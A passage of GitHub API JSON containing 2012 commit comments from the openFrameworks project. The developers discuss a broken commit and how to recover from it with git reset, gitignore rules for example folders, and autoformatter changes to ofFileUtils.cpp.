now."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1097203","html_url":"https://github.com/openframeworks/openFrameworks/commit/9f360dafd8c45dbbef2c59c68ae8c5a531e6c8f8#commitcomment-1097203","id":1097203,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"9f360dafd8c45dbbef2c59c68ae8c5a531e6c8f8","created_at":"2012-03-17T05:15:02Z","updated_at":"2012-03-17T05:15:02Z","body":"yeah this was pasted from another example instead of the emptyExample. my bad."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1098207","html_url":"https://github.com/openframeworks/openFrameworks/commit/e9366f9efe3bbf39a169b1ea6b67af12b982054b#commitcomment-1098207","id":1098207,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e9366f9efe3bbf39a169b1ea6b67af12b982054b","created_at":"2012-03-17T17:28:12Z","updated_at":"2012-03-17T17:28:12Z","body":"Is there something funky going on with the branches? This commit looks strange - do we have two develop branches??\r\n`Merge branch 'develop' of github.com:openframeworks/openFrameworks into develop`\r\nNetwork view looks a bit strange, and the github news feed insists you just merged 150 commits..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1098209","html_url":"https://github.com/openframeworks/openFrameworks/commit/e9366f9efe3bbf39a169b1ea6b67af12b982054b#commitcomment-1098209","id":1098209,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e9366f9efe3bbf39a169b1ea6b67af12b982054b","created_at":"2012-03-17T17:31:29Z","updated_at":"2012-03-17T17:31:29Z","body":"yeah it does seem a bit weird but I think it is @ofZach 's develop branch and he is merging in OFs develop branch. so you see all the commits a second time. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1098245","html_url":"https://github.com/openframeworks/openFrameworks/commit/e9366f9efe3bbf39a169b1ea6b67af12b982054b#commitcomment-1098245","id":1098245,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e9366f9efe3bbf39a169b1ea6b67af12b982054b","created_at":"2012-03-17T17:46:29Z","updated_at":"2012-03-17T17:46:29Z","body":"hm, strange. i pulled and checked with gitg, history looks ok. probably just a github parsing error or whatever."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1098249","html_url":"https://github.com/openframeworks/openFrameworks/commit/e9366f9efe3bbf39a169b1ea6b67af12b982054b#commitcomment-1098249","id":1098249,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e9366f9efe3bbf39a169b1ea6b67af12b982054b","created_at":"2012-03-17T17:48:36Z","updated_at":"2012-03-20T22:12:00Z","body":"i think this might have something to do with someone using the eyewriter account.\r\n\r\ni'm getting errors pushing anything to github right now ever since this commit 4a136cc45b89fbeec99fc1020716de705490d3d3\r\n\r\n\terror: object 4a136cc45b89fbeec99fc1020716de705490d3d3:invalid author/committer line - bad email\r\n\tfatal: Error in object\r\n\terror: unpack failed: index-pack abnormal exit\r\n\tTo git@github.com:kylemcdonald/openFrameworks.git\r\n\t ! [remote rejected] develop -> develop (n/a (unpacker error))\r\n\terror: failed to push some refs to 'git@github.com:kylemcdonald/openFrameworks.git'\r\n\r\nhopping in IRC now..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1098361","html_url":"https://github.com/openframeworks/openFrameworks/commit/e9366f9efe3bbf39a169b1ea6b67af12b982054b#commitcomment-1098361","id":1098361,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e9366f9efe3bbf39a169b1ea6b67af12b982054b","created_at":"2012-03-17T19:02:34Z","updated_at":"2012-03-17T19:02:51Z","body":"The problem is solved now. If anybody finds his way here because you have problems with the repo, pushing problems, or something, contact @ofTheo or @bilderbuchi to get help in fixing it.\r\nTo summarize, this commit introduced some strange errors, so basically we had to delete it from the repo. If you had pulled this commit in the time it was online, you also have the bad commit in your local repo. To remedy this, you have to reset back to before this was committed, and pull again. So something like \r\n \r\n git checkout develop\r\n git reset --hard 581ec0a7a2bc5d6fb9fe03d1a3e77f1661dddc7e //This will erase anything coming after that, so make sure your work is safe!\r\n git pull origin develop\r\n git pull upstream develop\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1098377","html_url":"https://github.com/openframeworks/openFrameworks/commit/e9366f9efe3bbf39a169b1ea6b67af12b982054b#commitcomment-1098377","id":1098377,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e9366f9efe3bbf39a169b1ea6b67af12b982054b","created_at":"2012-03-17T19:07:35Z","updated_at":"2012-03-17T19:07:56Z","body":"ps: back up any un committed code before resetting!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1098757","html_url":"https://github.com/openframeworks/openFrameworks/commit/e9366f9efe3bbf39a169b1ea6b67af12b982054b#commitcomment-1098757","id":1098757,"user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following{/other_user}","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e9366f9efe3bbf39a169b1ea6b67af12b982054b","created_at":"2012-03-17T22:36:31Z","updated_at":"2012-03-17T22:36:31Z","body":"what the problem could be (but I'm not sure what happened exactly):\r\nif you commit locally to develop branch, someone updates the remote branch, and then your `git pull` creates a new branch with the same name in your history and merges this two branches together because you are virtually on a new local branch with your local commit.\r\n\r\nmy suggestion is to push in the following way (replace origin with your remote repo):\r\n\r\n git pull --rebase && git push origin develop\r\n\r\nor only\r\n\r\n git pull --rebase\r\n\r\nif you only want to get the newest remote head, but there are also unpushed commits in your local history.\r\n\r\nmaybe this helps avoid such problems next time."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1123793","html_url":"https://github.com/openframeworks/openFrameworks/commit/f99748e9f503530bf9bce6f094b793fdae04f353#commitcomment-1123793","id":1123793,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":7,"line":23,"path":"examples/.gitignore","commit_id":"f99748e9f503530bf9bce6f094b793fdae04f353","created_at":"2012-03-23T13:00:33Z","updated_at":"2012-03-23T13:00:33Z","body":"I'm not sure you need all those combinations. I'll look how I did it..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1123831","html_url":"https://github.com/openframeworks/openFrameworks/commit/f99748e9f503530bf9bce6f094b793fdae04f353#commitcomment-1123831","id":1123831,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":7,"line":23,"path":"examples/.gitignore","commit_id":"f99748e9f503530bf9bce6f094b793fdae04f353","created_at":"2012-03-23T13:09:52Z","updated_at":"2012-03-23T13:10:40Z","body":"Yes. I found that \r\n `examples/*/*/bin/*`\r\n `!examples/*/*/bin/data/`\r\nin the root gitignore should be enough.\r\n`**` is not official gitignore syntax, btw, and relies on having a shell with some expansion capabilities (basically, POSIX systems) - not 100% sure this works on windows in every case."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1123846","html_url":"https://github.com/openframeworks/openFrameworks/commit/f99748e9f503530bf9bce6f094b793fdae04f353#commitcomment-1123846","id":1123846,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":7,"line":23,"path":"examples/.gitignore","commit_id":"f99748e9f503530bf9bce6f094b793fdae04f353","created_at":"2012-03-23T13:14:39Z","updated_at":"2012-03-23T13:15:58Z","body":"btw, `!*/*/bin/data` falsely un-ignores/matches a file called `dataexample`, too."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1123998","html_url":"https://github.com/openframeworks/openFrameworks/commit/f99748e9f503530bf9bce6f094b793fdae04f353#commitcomment-1123998","id":1123998,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f99748e9f503530bf9bce6f094b793fdae04f353","created_at":"2012-03-23T14:04:18Z","updated_at":"2012-03-23T14:04:18Z","body":"yes that seems ok, have you tried with nested folders inside data? although i think it will work. can you send a PR with that changes?\r\n\r\nthanks!\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1124001","html_url":"https://github.com/openframeworks/openFrameworks/commit/f99748e9f503530bf9bce6f094b793fdae04f353#commitcomment-1124001","id":1124001,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f99748e9f503530bf9bce6f094b793fdae04f353","created_at":"2012-03-23T14:05:47Z","updated_at":"2012-03-23T14:05:47Z","body":"but also perhaps better to have everything related to the examples in examples/.gitignore the root .gitignore is a mess, we'll need to clean it at some point but by now i think i'll be clearer to separate this rules in the specific file for the examples"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1124159","html_url":"https://github.com/openframeworks/openFrameworks/commit/f99748e9f503530bf9bce6f094b793fdae04f353#commitcomment-1124159","id":1124159,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f99748e9f503530bf9bce6f094b793fdae04f353","created_at":"2012-03-23T14:39:23Z","updated_at":"2012-03-23T14:40:17Z","body":"Yes I have tried with nested folders. \r\nYes I also think stuff like this should be in subfolder-gitignores. I will do either that, or make it global for both examples/ and apps/, I will see which is cleaner.\r\nI am in the process of cleaning up, please take a look at #1081, it's all there. (also, some feedback is needed). \r\nYes I will send a PR as soon as it's finished (this might take a while). Please fix this thing yourself in the meantime. I'll push my topic branch this weekend when I've done more work on that."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1189725","html_url":"https://github.com/openframeworks/openFrameworks/commit/d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b#commitcomment-1189725","id":1189725,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":704,"line":596,"path":"libs/openFrameworks/utils/ofFileUtils.cpp","commit_id":"d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b","created_at":"2012-04-09T21:05:37Z","updated_at":"2012-04-09T21:05:37Z","body":"apologies for polluting this commit with formatting - this is the crux of it right here. no need to return false as the try catch will handle the error and if the dst is a folder poco will handle placing it into the folder instead of overwriting it. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1189738","html_url":"https://github.com/openframeworks/openFrameworks/commit/d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b#commitcomment-1189738","id":1189738,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":1041,"line":952,"path":"libs/openFrameworks/utils/ofFileUtils.cpp","commit_id":"d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b","created_at":"2012-04-09T21:07:46Z","updated_at":"2012-04-09T21:07:46Z","body":"hmm this is weird, is this the autoformatter?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1189746","html_url":"https://github.com/openframeworks/openFrameworks/commit/d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b#commitcomment-1189746","id":1189746,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":1081,"line":1012,"path":"libs/openFrameworks/utils/ofFileUtils.cpp","commit_id":"d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b","created_at":"2012-04-09T21:08:36Z","updated_at":"2012-04-09T21:08:36Z","body":"same thing again, removing the space after a template parameter. maybe this was meant for classes with templates, to try and keep the { next to the > ?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1189848","html_url":"https://github.com/openframeworks/openFrameworks/commit/d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b#commitcomment-1189848","id":1189848,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":1081,"line":1012,"path":"libs/openFrameworks/utils/ofFileUtils.cpp","commit_id":"d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b","created_at":"2012-04-09T21:33:01Z","updated_at":"2012-04-09T21:33:01Z","body":"ugg yeah - I forgot I ran the formatter - I hate when others do that and I just did it :) \n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1191761","html_url":"https://github.com/openframeworks/openFrameworks/commit/d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b#commitcomment-1191761","id":1191761,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":1081,"line":1012,"path":"libs/openFrameworks/utils/ofFileUtils.cpp","commit_id":"d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b","created_at":"2012-04-10T09:07:44Z","updated_at":"2012-04-10T09:07:44Z","body":"This is strange. This particular bug was supposed to be fixed in #1111. Well, I guess it's yet another edge-case. \nIf you find bugs in the formatting, re-open #1072, it's the issue to go to for those 